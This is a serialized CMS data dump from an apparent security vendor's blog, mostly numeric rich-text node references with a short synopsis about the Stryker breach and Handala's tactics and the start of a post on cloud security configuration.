2,73008,73013,73019,73058,73063,73068,73074,73080,73083,73090,73106,73112,73117,73133,73138,73154,73160,73163,73170,73176,73212,73222,73225,73232,73247,73253,73266,73272,73278,73283,73289,73292,73299,73305,73353,73359,73362,73369,73374,73380,73386,73391,73397,73426,73432,73438,73443,73449,73454,73461,73477,73483,73513,73519,73549,73552,73559,73565,73570,73586,73592,73618,73623],{"data":72898,"content":72899,"nodeType":981},{},[72900],{"data":72901,"marks":72902,"value":66534,"nodeType":865},{},[72903],{"type":926},{"data":72905,"content":72906,"nodeType":866},{},[72907],{"data":72908,"marks":72909,"value":66541,"nodeType":865},{},[],{"data":72911,"content":72912,"nodeType":866},{},[72913],{"data":72914,"marks":72915,"value":66548,"nodeType":865},{},[],{"data":72917,"content":72918,"nodeType":866},{},[72919],{"data":72920,"marks":72921,"value":66555,"nodeType":865},{},[],{"data":72923,"content":72924,"nodeType":866},{},[72925,72929],{"data":72926,"marks":72927,"value":66563,"nodeType":865},{},[72928],{"type":926},{"data":72930,"marks":72931,"value":66567,"nodeType":865},{},[],{"data":72933,"content":72934,"nodeType":866},{},[72935],{"data":72936,"marks":72937,"value":66574,"nodeType":865},{},[],{"data":72939,"content":72942,"nodeType":912},{"target":72940},{"sys":72941},{"id":66579,"type":909,"linkType":910},[],{"data":72944,"content":72947,"nodeType":912},{"target":72945},{"sys":72946},{"id":66585,"type":909,"linkType":910},[],{"data":72949,"content":72950,"nodeType":972},{},[],{"data":72952,"content":72953,"nodeType":981},{},[72954],{"data":72955,"marks":72956,"value":66597,"nodeType":865},{},[72957],{"type":926},{"data":72959,"content":72960,"nodeType":866},{},[72961],{"data":72962,"marks":72963,"value":66604,"nodeType":865},{},[],{"data":72965,"content":72966,"nodeType":866},{},[72967],{"data":72968,"marks":72969,"value":66611,"nodeType":865},{},[],{"data":72971,"content":72974,"nodeType":912},{"target":72972},{"sys":72973},{"id":66616,"type":909,"linkType":910},[],{"data":72976,"content":72977,"nodeType":866},{},[72978,72981,72988],{"data":72979,"marks":72980,"value":66624,"nodeType":865},{},[],{"data":72982,"content":72983,"nodeType":889},{"uri":66627},[72984],{"data":72985,"marks":72986,"value":66633,"nodeType":865},{},[72987],{"type":943},{"data":72989,"marks":72990,"value":66637,"nodeType":865},{},[],{"data":72992,"content":72993,"nodeType":866},{},[72994],{"data":72995,"marks":72996,"value":66644,"nodeType":865},{},[],{"data":72998,"content":73001,"nodeType":912},{"target":72999},{"sys":73000},{"id":66649,"type":909,"linkType":910},[],{"data":73003,"content":73004,"nodeType":866},{},[73005],{"data":73006,"marks":73007,"value":66657,"nodeType":865},{},[],{"data":73009,"content":73012,"nodeType":912},{"target":73010},{"sys":73011},{"id":66662,"type":909,"linkType":910},[],{"data":73014,"content":73015,"nodeType":866},{},[73016],{"data":73017,"marks":73018,"value":66670,"nodeType":865},{},[],{"data":73020,"content":73021,"nodeType":1616},{},[73022,73031,73040,73049],{"data":73023,"content":73024,"nodeType":1570},{},[73025],{"data":73026,"content":73027,"nodeType":866},{},[73028],{"data":73029,"marks":73030,"value":66683,"nodeType":865},{},[],{"data":73032,"content":73033,"nodeType":1570},{},[73034],{"data":73035,"content":73036,"nodeType":866},{},[73037],{"data":73038,"marks":73039,"value":66693,"nodeType":865},{},[],{"data":73041,"content":73042,"nodeType":1570},{},[73043],{"data":73044,"content":73045,"nodeType":866},{},[73046],{"data":73047,"marks":73048,"value":66703,"nodeType":865},{},[],{"data":73050,"content":73051,"nodeType":1570},{},[73052],{"data":73053,"content":73054,"nodeType":866},{},[73055],{"data":73056,"marks":73057,"value":66713,"nodeType":865},{},[],{"data":73059,"content":73062,"nodeType":912},{"target":73060},{"sys":73061},{"id":66718,"type":909,"linkType":910},[],{"data":73064,"content":73067,"nodeType":912},{"target":73065},{"sys":73066},{"id":66724,"type":909,"linkType":910},[],{"data":73069,"content":73070,"nodeType":866},{},[73071],{"data":73072,"marks":73073,"value":66732,"nodeType":865},{},[],{"data":73075,"content":73076,"nodeType":866},{},[73077],{"data":73078,"marks":73079,"value":66739,"nodeType":865},{},[],{"data":73081,"content":73082,"nodeType":972},{},[],{"data":73084,"content":73085,"nodeType":981},{},[73086],{"data":73087,"marks":73088,"value":66750,"nodeType":865},{},[73089],{"type":926},{"data":73091,"content":73092,"nodeType":866},{},[73093,73096,73103],{"data":73094,"marks":73095,"value":66757,"nodeType":865},{},[],{"data":73097,"content":73098,"nodeType":889},{"uri":66760},[73099],{"data":73100,"marks":73101,"value":66766,"nodeType":865},{},[73102],{"type":943},{"data":73104,"marks":73105,"value":66770,"nodeType":865},{},[],{"data":73107,"content":73108,"nodeType":866},{},[73109],{"data":73110,"marks":73111,"value":66777,"nodeType":865},{},[],{"data":73113,"content":73116,"nodeType":912},{"target":73114},{"sys":73115},{"id":66782,"type":909,"linkType":910},[],{"data":73118,"content":73119,"nodeType":866},{},[73120,73123,73130],{"data":73121,"marks":73122,"value":66790,"nodeType":865},{},[],{"data":73124,"content":73125,"nodeType":889},{"uri":14355},[73126],{"data":73127,"marks":73128,"value":66798,"nodeType":865},{},[73129],{"type":943},{"data":73131,"marks":73132,"value":1615,"nodeType":865},{},[],{"data":73134,"content":73137,"nodeType":912},{"target":73135},{"sys":73136},{"id":66806,"type":909,"linkType":910},[],{"data":73139,"content":73140,"nodeType":866},{},[73141,73144,73151],{"data":73142,"marks":73143,"value":66814,"nodeType":865},{},[],{"data":73145,"content":73146,"nodeType":889},{"uri":66817},[73147],{"data":73148,"marks":73149,"value":441,"nodeType":865},{},[73150],{"type":943},{"data":73152,"marks":73153,"value":66826,"nodeType":865},{},[],{"data":73155,"content":73156,"nodeType":866},{},[73157],{"data":73158,"marks":73159,"value":66833,"nodeType":865},{},[],{"data":73161,"content":73162,"nodeType":972},{},[],{"data":73164,"content":73165,"nodeType":981},{},[73166],{"data":73167,"marks":73168,"value":66844,"nodeType":865},{},[73169],{"type":926},{"data":73171,"content":73172,"nodeType":866},{},[73173],{"data":73174,"marks":73175,"value":66851,"nodeType":865},{},[],{"data":73177,"content":73178,"nodeType":866},{},[73179,73182,73189,73192,73199,73202,73209],{"data":73180,"marks":73181,"value":66858,"nodeType":865},{},[],{"data":73183,"content":73184,"nodeType":889},{"uri":66861},[73185],{"data":73186,"marks":73187,"value":66867,"nodeType":865},{},[73188],{"type":943},{"data":73190,"marks":73191,"value":4988,"nodeType":865},{},[],{"data":73193,"content":73194,"nodeType":889},{"uri":66873},[73195],{"data":73196,"marks":73197,"value":8061,"nodeType":865},{},[73198],{"type":943},{"data":73200,"marks":73201,"value":66882,"nodeType":865},{},[],{"data":73203,"content":73204,"nodeType":889},{"uri":66885},[73205],{"data":73206,"marks":73207,"value":66891,"nodeType":865},{},[73208],{"type":943},{"data":73210,"marks":73211,"value":66895,"nodeType":865},{},[],{"data":73213,"content":73214,"nodeType":866},{},[73215,73218],{"data":73216,"marks":73217,"value":66902,"nodeType":865},{},[],{"data":73219,"marks":73220,"value":66907,"nodeType":865},{},[73221],{"type":926},{"data":73223,"content":73224,"nodeType":972},{},[],{"data":73226,"content":73227,"nodeType":981},{},[73228],{"data":73229,"marks":73230,"value":66918,"nodeType":865},{},[73231],{"type":926},{"data":73233,"content":73234,"nodeType":866},{},[73235,73238,73244],{"data":73236,"marks":73237,"value":66925,"nodeType":865},{},[],{"data":73239,"content":73240,"nodeType":889},{"uri":8862},[73241],{"data":73242,"marks":73243,"value":8868,"nodeType":865},{},[],{"data":73245,"marks":73246,"value":66935,"nodeType":865},{},[],{"data":73248,"content":73249,"nodeType":866},{},[73250],{"data":73251,"marks":73252,"value":66942,"nodeType":865},{},[],{"data":73254,"content":73255,"nodeType":866},{},[73256,73259,73263],{"data":73257,"marks":73258,"value":66949,"nodeType":865},{},[],{"data":73260,"marks":73261,"value":66954,"nodeType":865},{},[73262],{"type":926},{"data":73264,"marks":73265,"value":66958,"nodeType":865},{},[],{"data":73267,"content":73268,"nodeType":866},{},[73269],{"data":73270,"marks":73271,"value":66965,"nodeType":865},{},[],{"data":73273,"content":73274,"nodeType":866},{},[73275],{"data":73276,"marks":73277,"value":66972,"nodeType":865},{},[],{"data":73279,"content":73282,"nodeType":912},{"target":73280},{"sys":73281},{"id":66977,"type":909,"linkType":910},[],{"data":73284,"content":73285,"nodeType":866},{},[73286],{"data":73287,"marks":73288,"value":66985,"nodeType":865},{},[],{"data":73290,"content":73291,"nodeType":972},{},[],{"data":73293,"content":73294,"nodeType":981},{},[73295],{"data":73296,"marks":73297,"value":66996,"nodeType":865},{},[73298],{"type":926},{"data":73300,"content":73301,"nodeType":866},{},[73302],{"data":73303,"marks":73304,"value":67003,"nodeType":865},{},[],{"data":73306,"content":73307,"nodeType":1616},{},[73308,73317,73326,73335,73344],{"data":73309,"content":73310,"nodeType":1570},{},[73311],{"data":73312,"content":73313,"nodeType":866},{},[73314],{"data":73315,"marks":73316,"value":67016,"nodeType":865},{},[],{"data":73318,"content":73319,"nodeType":1570},{},[73320],{"data":73321,"content":73322,"nodeType":866},{},[73323],{"data":73324,"marks":73325,"value":67026,"nodeType":865},{},[],{"data":73327,"content":73328,"nodeType":1570},{},[73329],{"data":73330,"content":73331,"nodeType":866},{},[73332],{"data":73333,"marks":73334,"value":67036,"nodeType":865},{},[],{"data":73336,"content":73337,"nodeType":1570},{},[73338],{"data":73339,"content":73340,"nodeType":866},{},[73341],{"data":73342,"marks":73343,"value":67046,"nodeType":865},{},[],{"data":73345,"content":73346,"nodeType":1570},{},[73347],{"data":73348,"content":73349,"nodeType":866},{},[73350],{"data":73351,"marks":73352,"value":67056,"nodeType":865},{},[],{"data":73354,"content":73355,"nodeType":866},{},[73356],{"data":73357,"marks":73358,"value":67063,"nodeType":865},{},[],{"data":73360,"content":73361,"nodeType":972},{},[],{"data":73363,"content":73364,"nodeType":981},{},[73365],{"data":73366,"marks":73367,"value":67074,"nodeType":865},{},[73368],{"type":926},{"data":73370,"content":73373,"nodeType":912},{"target":73371},{"sys":73372},{"id":67079,"type":909,"linkType":910},[],{"data":73375,"content":73376,"nodeType":866},{},[73377],{"data":73378,"marks":73379,"value":67087,"nodeType":865},{},[],{"data":73381,"content":73382,"nodeType":866},{},[73383],{"data":73384,"marks":73385,"value":67094,"nodeType":865},{},[],{"data":73387,"content":73390,"nodeType":912},{"target":73388},{"sys":73389},{"id":67099,"type":909,"linkType":910},[],{"data":73392,"content":73393,"nodeType":866},{},[73394],{"data":73395,"marks":73396,"value":67107,"nodeType":865},{},[],{"data":73398,"content":73399,"nodeType":1616},{},[73400,73413],{"data":73401,"content":73402,"nodeType":1570},{},[73403],{"data":73404,"content":73405,"nodeType":866},{},[73406,73410],{"data":73407,"marks":73408,"value":67121,"nodeType":865},{},[73409],{"type":926},{"data":73411,"marks":73412,"value":67125,"nodeType":865},{},[],{"data":73414,"content":73415,"nodeType":1570},{},[73416],{"data":73417,"content":73418,"nodeType":866},{},[73419,73423],{"data":73420,"marks":73421,"value":67136,"nodeType":865},{},[73422],{"type":926},{"data":73424,"marks":73425,"value":67140,"nodeType":865},{},[],{"data":73427,"content":73428,"nodeType":866},{},[73429],{"data":73430,"marks":73431,"value":67147,"nodeType":865},{},[],{"data":73433,"content":73434,"nodeType":866},{},[73435],{"data":73436,"marks":73437,"value":67154,"nodeType":865},{},[],{"data":73439,"content":73442,"nodeType":912},{"target":73440},{"sys":73441},{"id":67159,"type":909,"linkType":910},[],{"data":73444,"content":73445,"nodeType":866},{},[73446],{"data":73447,"marks":73448,"value":67167,"nodeType":865},{},[],{"data":73450,"content":73453,"nodeType":912},{"target":73451},{"sys":73452},{"id":67172,"type":909,"linkType":910},[],{"data":73455,"content":73456,"nodeType":1317},{},[73457],{"data":73458,"marks":73459,"value":67181,"nodeType":865},{},[73460],{"type":926},{"data":73462,"content":73463,"nodeType":866},{},[73464,73467,73474],{"data":73465,"marks":73466,"value":44799,"nodeType":865},{},[],{"data":73468,"content":73469,"nodeType":889},{"uri":38042},[73470],{"data":73471,"marks":73472,"value":38047,"nodeType":865},{},[73473],{"type":943},{"data":73475,"marks":73476,"value":67198,"nodeType":865},{},[],{"data":73478,"content":73479,"nodeType":866},{},[73480],{"data":73481,"marks":73482,"value":67205,"nodeType":865},{},[],{"data":73484,"content":73485,"nodeType":1616},{},[73486,73495,73504],{"data":73487,"content":73488,"nodeType":1570},{},[73489],{"data":73490,"content":73491,"nodeType":866},{},[73492],{"data":73493,"marks":73494,"value":67218,"nodeType":865},{},[],{"data":73496,"content":73497,"nodeType":1570},{},[73498],{"data":73499,"content":73500,"nodeType":866},{},[73501],{"data":73502,"marks":73503,"value":67228,"nodeType":865},{},[],{"data":73505,"content":73506,"nodeType":1570},{},[73507],{"data":73508,"content":73509,"nodeType":866},{},[73510],{"data":73511,"marks":73512,"value":67238,"nodeType":865},{},[],{"data":73514,"content":73515,"nodeType":866},{},[73516],{"data":73517,"marks":73518,"value":67245,"nodeType":865},{},[],{"data":73520,"content":73521,"nodeType":1616},{},[73522,73531,73540],{"data":73523,"content":73524,"nodeType":1570},{},[73525],{"data":73526,"content":73527,"nodeType":866},{},[73528],{"data":73529,"marks":73530,"value":67258,"nodeType":865},{},[],{"data":73532,"content":73533,"nodeType":1570},{},[73534],{"data":73535,"content":73536,"nodeType":866},{},[73537],{"data":73538,"marks":73539,"value":67268,"nodeType":865},{},[],{"data":73541,"content":73542,"nodeType":1570},{},[73543],{"data":73544,"content":73545,"nodeType":866},{},[73546],{"data":73547,"marks":73548,"value":67278,"nodeType":865},{},[],{"data":73550,"content":73551,"nodeType":972},{},[],{"data":73553,"content":73554,"nodeType":981},{},[73555],{"data":73556,"marks":73557,"value":67289,"nodeType":865},{},[73558],{"type":926},{"data":73560,"content":73561,"nodeType":866},{},[73562],{"data":73563,"marks":73564,"value":67296,"nodeType":865},{},[],{"data":73566,"content":73569,"nodeType":912},{"target":73567},{"sys":73568},{"id":67301,"type":909,"linkType":910},[],{"data":73571,"content":73572,"nodeType":866},{},[73573,73576,73583],{"data":73574,"marks":73575,"value":67309,"nodeType":865},{},[],{"data":73577,"content":73578,"nodeType":889},{"uri":8862},[73579],{"data":73580,"marks":73581,"value":67317,"nodeType":865},{},[73582],{"type":943},{"data":73584,"marks":73585,"value":67321,"nodeType":865},{},[],{"data":73587,"content":73588,"nodeType":866},{},[73589],{"data":73590,"marks":73591,"value":67328,"nodeType":865},{},[],{"data":73593,"content":73594,"nodeType":866},{},[73595,73598,73605,73608,73615],{"data":73596,"marks":73597,"value":11372,"nodeType":865},{},[],{"data":73599,"content":73600,"nodeType":889},{"uri":11375},[73601],{"data":73602,"marks":73603,"value":11381,"nodeType":865},{},[73604],{"type":943},{"data":73606,"marks":73607,"value":53880,"nodeType":865},{},[],{"data":73609,"content":73610,"nodeType":889},{"uri":1372},[73611],{"data":73612,"marks":73613,"value":11405,"nodeType":865},{},[73614],{"type":943},{"data":73616,"marks":73617,"value":1615,"nodeType":865},{},[],{"data":73619,"content":73622,"nodeType":912},{"target":73620},{"sys":73621},{"id":67359,"type":909,"linkType":910},[],{"data":73624,"content":73625,"nodeType":866},{},[73626],{"data":73627,"marks":73628,"value":21,"nodeType":865},{},[],{"items":73630},[73631,73633],{"sys":73632,"name":7796},{"id":7795},{"sys":73634,"name":342},{"id":4642},{"items":73636},[73637],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":73638},{"url":11425},{"__typename":1429,"sys":73640,"content":73641,"title":67983,"synopsis":67984,"hashTags":59,"publishedDate":67985,"slug":67986,"tagsCollection":74164,"authorsCollection":74170},{"id":67381},{"json":73642},{"data":73643,"content":73644,"nodeType":1382},{},[73645,73661,73667,73673,73676,73683,73699,73715,73742,73747,73750,73757,73764,73770,73786,73792,73797,73802,73808,73814,73821,73827,73833,73838,73844,73860,73867,73873,73879,73895,73900,73916,73921,73927,73932,73935,73942,73948,73964,73970,73993,73999,74006,74009,74016,74022,74028,74033,74039,74078,74083,74089,74115,74120,74158],{"data":73646,"content":73647,"nodeType":866},{},[73648,73651,73658],{"data":73649,"marks":73650,"value":21,"nodeType":865},{},[],{"data":73652,"content":73653,"nodeType":889},{"uri":4991},[73654],{"data":73655,"marks":73656,"value":8673,"nodeType":865},{},[73657],{"type":943},{"data":73659,"marks":73660,"value":67402,"nodeType":865},{},[],{"data":73662,"content":73663,"nodeType":866},{},[73664],{"data":73665,"marks":73666,"value":67409,"nodeType":865},{},[],{"data":73668,"content":73669,"nodeType":866},{},[73670],{"data":73671,"marks":73672,"value":67416,"nodeType":865},{},[],{"data":73674,"content":73675,"nodeType":972},{},[],{"data":73677,"content":73678,"nodeType":981},{},[73679],{"data":73680,"marks":73681,"value":67427,"nodeType":865},{},[73682],{"type":926},{"data":73684,"content":73685,"nodeType":866},{},[73686,73689,73696],{"data":73687,"marks":73688,"value":67434,"nodeType":865},{},[],{"data":73690,"content":73691,"nodeType":889},{"uri":67437},[73692],{"data":73693,"marks":73694,"value":67443,"nodeType":865},{},[73695],{"type":943},{"data":73697,"marks":73698,"value":67447,"nodeType":865},{},[],{"data":73700,"content":73701,"nodeType":866},{},[73702,73705,73712],{"data":73703,"marks":73704,"value":67454,"nodeType":865},{},[],{"data":73706,"content":73707,"nodeType":889},{"uri":53352},[73708],{"data":73709,"marks":73710,"value":67462,"nodeType":865},{},[73711],{"type":943},{"data":73713,"marks":73714,"value":67466,"nodeType":865},{},[],{"data":73716,"content":73717,"nodeType":866},{},[73718,73721,73725,73728,73732,73735,73739],{"data":73719,"marks":73720,"value":67473,"nodeType":865},{},[],{"data":73722,"marks":73723,"value":67478,"nodeType":865},{},[73724],{"type":926},{"data":73726,"marks":73727,"value":67482,"nodeType":865},{},[],{"data":73729,"marks":73730,"value":67487,"nodeType":865},{},[73731],{"type":926},{"data":73733,"marks":73734,"value":67491,"nodeType":865},{},[],{"data":73736,"marks":73737,"value":67496,"nodeType":865},{},[73738],{"type":926},{"data":73740,"marks":73741,"value":67500,"nodeType":865},{},[],{"data":73743,"content":73746,"nodeType":912},{"target":73744},{"sys":73745},{"id":67505,"type":909,"linkType":910},[],{"data":73748,"content":73749,"nodeType":972},{},[],{"data":73751,"content":73752,"nodeType":981},{},[73753],{"data":73754,"marks":73755,"value":67517,"nodeType":865},{},[73756],{"type":926},{"data":73758,"content":73759,"nodeType":1317},{},[73760],{"data":73761,"marks":73762,"value":67525,"nodeType":865},{},[73763],{"type":926},{"data":73765,"content":73766,"nodeType":866},{},[73767],{"data":73768,"marks":73769,"value":67532,"nodeType":865},{},[],{"data":73771,"content":73772,"nodeType":866},{},[73773,73776,73783],{"data":73774,"marks":73775,"value":21,"nodeType":865},{},[],{"data":73777,"content":73778,"nodeType":889},{"uri":4991},[73779],{"data":73780,"marks":73781,"value":67546,"nodeType":865},{},[73782],{"type":943},{"data":73784,"marks":73785,"value":67550,"nodeType":865},{},[],{"data":73787,"content":73788,"nodeType":866},{},[73789],{"data":73790,"marks":73791,"value":67557,"nodeType":865},{},[],{"data":73793,"content":73796,"nodeType":912},{"target":73794},{"sys":73795},{"id":53113,"type":909,"linkType":910},[],{"data":73798,"content":73801,"nodeType":912},{"target":73799},{"sys":73800},{"id":67567,"type":909,"linkType":910},[],{"data":73803,"content":73804,"nodeType":866},{},[73805],{"data":73806,"marks":73807,"value":67575,"nodeType":865},{},[],{"data":73809,"content":73810,"nodeType":866},{},[73811],{"data":73812,"marks":73813,"value":67582,"nodeType":865},{},[],{"data":73815,"content":73816,"nodeType":1317},{},[73817],{"data":73818,"marks":73819,"value":67590,"nodeType":865},{},[73820],{"type":926},{"data":73822,"content":73823,"nodeType":866},{},[73824],{"data":73825,"marks":73826,"value":67597,"nodeType":865},{},[],{"data":73828,"content":73829,"nodeType":866},{},[73830],{"data":73831,"marks":73832,"value":67604,"nodeType":865},{},[],{"data":73834,"content":73837,"nodeType":912},{"target":73835},{"sys":73836},{"id":67609,"type":909,"linkType":910},[],{"data":73839,"content":73840,"nodeType":866},{},[73841],{"data":73842,"marks":73843,"value":67617,"nodeType":865},{},[],{"data":73845,"content":73846,"nodeType":866},{},[73847,73850,73857],{"data":73848,"marks":73849,"value":67624,"nodeType":865},{},[],{"data":73851,"content":73852,"nodeType":889},{"uri":67627},[73853],{"data":73854,"marks":73855,"value":67633,"nodeType":865},{},[73856],{"type":943},{"data":73858,"marks":73859,"value":67637,"nodeType":865},{},[],{"data":73861,"content":73862,"nodeType":1317},{},[73863],{"data":73864,"marks":73865,"value":67645,"nodeType":865},{},[73866],{"type":926},{"data":73868,"content":73869,"nodeType":866},{},[73870],{"data":73871,"marks":73872,"value":67652,"nodeType":865},{},[],{"data":73874,"content":73875,"nodeType":866},{},[73876],{"data":73877,"marks":73878,"value":67659,"nodeType":865},{},[],{"data":73880,"content":73881,"nodeType":866},{},[73882,73885,73892],{"data":73883,"marks":73884,"value":67666,"nodeType":865},{},[],{"data":73886,"content":73887,"nodeType":889},{"uri":67669},[73888],{"data":73889,"marks":73890,"value":67675,"nodeType":865},{},[73891],{"type":943},{"data":73893,"marks":73894,"value":67679,"nodeType":865},{},[],{"data":73896,"content":73899,"nodeType":912},{"target":73897},{"sys":73898},{"id":67684,"type":909,"linkType":910},[],{"data":73901,"content":73902,"nodeType":866},{},[73903,73906,73913],{"data":73904,"marks":73905,"value":67692,"nodeType":865},{},[],{"data":73907,"content":73908,"nodeType":889},{"uri":6710},[73909],{"data":73910,"marks":73911,"value":62154,"nodeType":865},{},[73912],{"type":943},{"data":73914,"marks":73915,"value":67703,"nodeType":865},{},[],{"data":73917,"content":73920,"nodeType":912},{"target":73918},{"sys":73919},{"id":67708,"type":909,"linkType":910},[],{"data":73922,"content":73923,"nodeType":866},{},[73924],{"data":73925,"marks":73926,"value":67716,"nodeType":865},{},[],{"data":73928,"content":73931,"nodeType":912},{"target":73929},{"sys":73930},{"id":67721,"type":909,"linkType":910},[],{"data":73933,"content":73934,"nodeType":972},{},[],{"data":73936,"content":73937,"nodeType":981},{},[73938],{"data":73939,"marks":73940,"value":37911,"nodeType":865},{},[73941],{"type":926},{"data":73943,"content":73944,"nodeType":866},{},[73945],{"data":73946,"marks":73947,"value":67739,"nodeType":865},{},[],{"data":73949,"content":73950,"nodeType":866},{},[73951,73954,73961],{"data":73952,"marks":73953,"value":67746,"nodeType":865},{},[],{"data":73955,"content":73956,"nodeType":889},{"uri":5053},[73957],{"data":73958,"marks":73959,"value":8868,"nodeType":865},{},[73960],{"type":943},{"data":73962,"marks":73963,"value":67757,"nodeType":865},{},[],{"data":73965,"content":73966,"nodeType":866},{},[73967],{"data":73968,"marks":73969,"value":67764,"nodeType":865},{},[],{"data":73971,"content":73972,"nodeType":866},{},[73973,73976,73980,73983,73990],{"data":73974,"marks":73975,"value":67771,"nodeType":865},{},[],{"data":73977,"marks":73978,"value":67776,"nodeType":865},{},[73979],{"type":926},{"data":73981,"marks":73982,"value":2717,"nodeType":865},{},[],{"data":73984,"content":73985,"nodeType":889},{"uri":4813},[73986],{"data":73987,"marks":73988,"value":67787,"nodeType":865},{},[73989],{"type":943},{"data":73991,"marks":73992,"value":67791,"nodeType":865},{},[],{"data":73994,"content":73995,"nodeType":866},{},[73996],{"data":73997,"marks":73998,"value":67798,"nodeType":865},{},[],{"data":74000,"content":74001,"nodeType":866},{},[74002],{"data":74003,"marks":74004,"value":67806,"nodeType":865},{},[74005],{"type":926},{"data":74007,"content":74008,"nodeType":972},{},[],{"data":74010,"content":74011,"nodeType":981},{},[74012],{"data":74013,"marks":74014,"value":67817,"nodeType":865},{},[74015],{"type":926},{"data":74017,"content":74018,"nodeType":866},{},[74019],{"data":74020,"marks":74021,"value":67824,"nodeType":865},{},[],{"data":74023,"content":74024,"nodeType":866},{},[74025],{"data":74026,"marks":74027,"value":67831,"nodeType":865},{},[],{"data":74029,"content":74032,"nodeType":912},{"target":74030},{"sys":74031},{"id":67836,"type":909,"linkType":910},[],{"data":74034,"content":74035,"nodeType":866},{},[74036],{"data":74037,"marks":74038,"value":67844,"nodeType":865},{},[],{"data":74040,"content":74041,"nodeType":1616},{},[74042,74060],{"data":74043,"content":74044,"nodeType":1570},{},[74045],{"data":74046,"content":74047,"nodeType":866},{},[74048,74051,74057],{"data":74049,"marks":74050,"value":21,"nodeType":865},{},[],{"data":74052,"content":74053,"nodeType":889},{"uri":67859},[74054],{"data":74055,"marks":74056,"value":67864,"nodeType":865},{},[],{"data":74058,"marks":74059,"value":67868,"nodeType":865},{},[],{"data":74061,"content":74062,"nodeType":1570},{},[74063],{"data":74064,"content":74065,"nodeType":866},{},[74066,74069,74075],{"data":74067,"marks":74068,"value":21,"nodeType":865},{},[],{"data":74070,"content":74071,"nodeType":889},{"uri":67880},[74072],{"data":74073,"marks":74074,"value":67885,"nodeType":865},{},[],{"data":74076,"marks":74077,"value":67889,"nodeType":865},{},[],{"data":74079,"content":74082,"nodeType":912},{"target":74080},{"sys":74081},{"id":67894,"type":909,"linkType":910},[],{"data":74084,"content":74085,"nodeType":866},{},[74086],{"data":74087,"marks":74088,"value":67902,"nodeType":865},{},[],{"data":74090,"content":74091,"nodeType":866},{},[74092,74095,74102,74105,74112],{"data":74093,"marks":74094,"value":67909,"nodeType":865},{},[],{"data":74096,"content":74097,"nodeType":889},{"uri":54449},[74098],{"data":74099,"marks":74100,"value":67917,"nodeType":865},{},[74101],{"type":943},{"data":74103,"marks":74104,"value":67921,"nodeType":865},{},[],{"data":74106,"content":74107,"nodeType":889},{"uri":53458},[74108],{"data":74109,"marks":74110,"value":67929,"nodeType":865},{},[74111],{"type":943},{"data":74113,"marks":74114,"value":67933,"nodeType":865},{},[],{"data":74116,"content":74119,"nodeType":912},{"target":74117},{"sys":74118},{"id":54465,"type":909,"linkType":910},[],{"data":74121,"content":74122,"nodeType":7584},{},[74123],{"data":74124,"content":74125,"nodeType":866},{},[74126,74129,74136,74139,74145,74148,74155],{"data":74127,"marks":74128,"value":61568,"nodeType":865},{},[],{"data":74130,"content":74131,"nodeType":889},{"uri":11375},[74132],{"data":74133,"marks":74134,"value":61576,"nodeType":865},{},[74135],{"type":943},{"data":74137,"marks":74138,"value":2717,"nodeType":865},{},[],{"data":74140,"content":74141,"nodeType":889},{"uri":11387},[74142],{"data":74143,"marks":74144,"value":61587,"nodeType":865},{},[],{"data":74146,"marks":74147,"value":11397,"nodeType":865},{},[],{"data":74149,"content":74150,"nodeType":889},{"uri":1372},[74151],{"data":74152,"marks":74153,"value":11405,"nodeType":865},{},[74154],{"type":943},{"data":74156,"marks":74157,"value":1615,"nodeType":865},{},[],{"data":74159,"content":74160,"nodeType":866},{},[74161],{"data":74162,"marks":74163,"value":21,"nodeType":865},{},[],{"items":74165},[74166,74168],{"sys":74167,"name":7796},{"id":7795},{"sys":74169,"name":342},{"id":4642},{"items":74171},[74172],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":74173},{"url":7804},"blog/stryker-handala-report",{"json":74176},{"data":74177,"content":74178,"nodeType":1382},{},[74179],{"data":74180,"content":74181,"nodeType":866},{},[74182],{"data":74183,"marks":74184,"value":74185,"nodeType":865},{},[],"The Stryker breach doesn't track with Handala's historical TTPs. This shows just how quickly the default attacker toolkit is evolving, and is a wake-up call for defenders.",{"id":41054,"publishedAt":74187},"2026-08-12T11:53:05.473Z",{"items":74189},[74190,74192],{"sys":74191,"name":7796},{"id":7795},{"sys":74193,"name":342},{"id":4642},{"items":74195},[74196,74198,74200,74202,74204,74206,74208,74210,74212,74214,74216,74218,74220,74222,74224],{"sys":74197,"name":279,"slug":280,"tier":31},{"id":276},{"sys":74199,"name":413,"slug":414,"tier":31},{"id":410},{"sys":74201,"name":642,"slug":643,"tier":31},{"id":639},{"sys":74203,"name":342,"slug":343,"tier":31},{"id":339},{"sys":74205,"name":528,"slug":529,"tier":45},{"id":525},{"sys":74207,"name":404,"slug":405,"tier":45},{"id":401},{"sys":74209,"name":333,"slug":334,"tier":45},{"id":330},{"sys":74211,"name":466,"slug":467,"tier":45},{"id":463},{"sys":74213,"name":261,"slug":262,"tier":45},{"id":258},{"sys":74215,"name":422,"slug":423,"tier":45},{"id":419},{"sys":74217,"name":607,"slug":608,"tier":45},{"id":604},{"sys":74219,"name":650,"slug":651,"tier":45},{"id":647},{"sys":74221,"name":324,"slug":325,"tier":45},{"id":321},{"sys":74223,"name":484,"slug":485,"tier":45},{"id":481},{"sys":74225,"name":571,"slug":572,"tier":45},{"id":568},"HW8q7GTrDntSuJ9ZluqxI3jsbkqipTZ55wT8PFnf3RM",{"id":74228,"title":74229,"authorsCollection":74230,"content":74234,"extension":228,"faqItemsCollection":74619,"faqTitle":59,"featured":6,"hashTags":59,"meta":74621,"metaTitle":74622,"ogImage":59,"postType":1424,"publishedDate":74623,"relatedBlogPostsCollection":74624,"slug":75526,"stem":75527,"subtitle":59,"summary":75528,"synopsis":75539,"sys":75540,"tagsCollection":75542,"topicsCollection":75548,"__hash__":75562},"blog/blog/push-plus-cloud-security.json","Push + Cloud Security: What do you do when bad looks normal?",{"items":74231},[74232],{"fullName":4680,"firstName":4681,"jobTitle":4616,"socialLinks":59,"profilePicture":74233},{"url":4683},{"json":74235,"links":74607},{"data":74236,"content":74237,"nodeType":1382},{},[74238,74246,74253,74260,74267,74274,74281,74289,74296,74303,74310,74313,74321,74328,74335,74342,74349,74368,74376,74383,74390,74397,74400,74408,74424,74440,74447,74455,74462,74469,74476,74483,74489,74496,74559,74562,74601],{"data":74239,"content":74240,"nodeType":981},{},[74241],{"data":74242,"marks":74243,"value":74245,"nodeType":865},{},[74244],{"type":926},"Cloud security tools ensure secure configurations",{"data":74247,"content":74248,"nodeType":866},{},[74249],{"data":74250,"marks":74251,"value":74252,"nodeType":865},{},[],"If you’re a cloud security architect, you probably don’t think in terms of firewalls and 